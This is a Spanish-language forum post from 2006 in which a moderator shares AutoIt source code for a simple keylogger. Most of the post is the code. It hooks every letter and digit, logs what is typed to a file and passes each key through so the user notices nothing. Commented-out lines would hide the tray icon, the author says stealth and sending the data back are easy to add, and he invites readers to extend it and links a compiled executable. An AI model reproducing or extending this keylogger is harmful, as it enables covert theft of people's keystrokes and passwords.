Autor Tema: Simple Keylogger hecho en AutoIT  (Leído 8284 veces)

0 Usuarios y 1 Visitante están viendo este tema.

hkm

  • Moderador
  • *
  • Mensajes: 1245
  • Liked: 292
    • Hakim.Ws
Simple Keylogger hecho en AutoIT
« : octubre 21, 2006, 12:33:31 pm »
El otro dia tenia que hacer unos desinstaladores automaticos y estaba usando un soft muy bueno llamado AutoIT, pueden descargar el compilador y editor (scite modificado) [2.8MB], les dejo el source de un keylogger muy sencillo que no es residente, no se oculta y no manda la informacion de regreso ni nada por el estilo... es facil hacer que haga esas cosas, a ver si alguien puede quitarle bugs o agregarle funciones a este simple keylogger:

Código: [Seleccionar]
#cs ----------------------------------------------------------------------------
 20/10/06 9:32 hkm
;~ Simple y no residente keylogger en AutoIT para caracteres alfanumericos
#ce ----------------------------------------------------------------------------
; BUG: Te deshabilita CAPSLOCK / BLOQ MAYUS
; BUG: Al dejar presionado shift solo guarda la primera en mayus

;con esto escondemos el icono y no mostramos errores
;AutoItSetOption("RunErrorsFatal", 0)
;AutoItSetOption("TrayIconHide", 1)

;creamos un file llamado slogger.txt para guardar las keys
$file = FileOpen("slogger.txt", 1)
If $file = -1 Then
    MsgBox(0, "Error", "El file no se pudo crear/abrir.")
    Exit
EndIf

;mostramos opciones al usuario
MsgBox(0, "Simple Key Logger", "[Alt+k] ver las keys "&@CR&"[Alt+q] para salir")

;dejamos todo el tiempo esperando hotkeys
while(1)
HotKeySet("!k", "menukey")
HotKeySet("!q", "quit")
HotKeySet(" ", "logea")
HotKeySet("a", "logea")
HotKeySet("b", "logea")
HotKeySet("c", "logea")
HotKeySet("d", "logea")
HotKeySet("e", "logea")
HotKeySet("f", "logea")
HotKeySet("g", "logea")
HotKeySet("h", "logea")
HotKeySet("i", "logea")
HotKeySet("j", "logea")
HotKeySet("k", "logea")
HotKeySet("l", "logea")
HotKeySet("m", "logea")
HotKeySet("n", "logea")
HotKeySet("ñ", "logea")
HotKeySet("o", "logea")
HotKeySet("p", "logea")
HotKeySet("q", "logea")
HotKeySet("r", "logea")
HotKeySet("s", "logea")
HotKeySet("t", "logea")
HotKeySet("u", "logea")
HotKeySet("v", "logea")
HotKeySet("w", "logea")
HotKeySet("x", "logea")
HotKeySet("y", "logea")
HotKeySet("z", "logea")
HotKeySet("A", "logea")
HotKeySet("B", "logea")
HotKeySet("C", "logea")
HotKeySet("D", "logea")
HotKeySet("E", "logea")
HotKeySet("F", "logea")
HotKeySet("G", "logea")
HotKeySet("H", "logea")
HotKeySet("I", "logea")
HotKeySet("J", "logea")
HotKeySet("K", "logea")
HotKeySet("L", "logea")
HotKeySet("M", "logea")
HotKeySet("N", "logea")
HotKeySet("Ñ", "logea")
HotKeySet("O", "logea")
HotKeySet("P", "logea")
HotKeySet("Q", "logea")
HotKeySet("R", "logea")
HotKeySet("S", "logea")
HotKeySet("T", "logea")
HotKeySet("U", "logea")
HotKeySet("V", "logea")
HotKeySet("W", "logea")
HotKeySet("X", "logea")
HotKeySet("Y", "logea")
HotKeySet("Z", "logea")
HotKeySet("0", "logea")
HotKeySet("1", "logea")
HotKeySet("2", "logea")
HotKeySet("3", "logea")
HotKeySet("4", "logea")
HotKeySet("5", "logea")
HotKeySet("6", "logea")
HotKeySet("7", "logea")
HotKeySet("8", "logea")
HotKeySet("9", "logea")
wend

;funcion para guardar las keys en el archivo
Func logea()
HotKeySet(@HotKeyPressed)
FileWrite($file, @HotKeyPressed)
Send(@HotKeyPressed) ;aparte de recibir el key lo reenviamos
EndFunc

;mostramos los keys de slogger.txt en un MsgBox
Func menukey()
FileClose($file)
$contenido = FileRead("slogger.txt")
MsgBox(0,"Keys",$contenido)
$file = FileOpen("slogger.txt", 1)
EndFunc

;salimos y borramos el File
Func quit()
FileClose($file)
FileDelete("slogger.txt")
Exit 0
EndFunc

Les dejo el .exe [180kb] por si lo quieren probar sin descargar el soft de autoit, aunque se los recomiendo mucho porque esta en realidad muy sencillo y facil de compilar (click derecho-> compilar) saludos,


hkm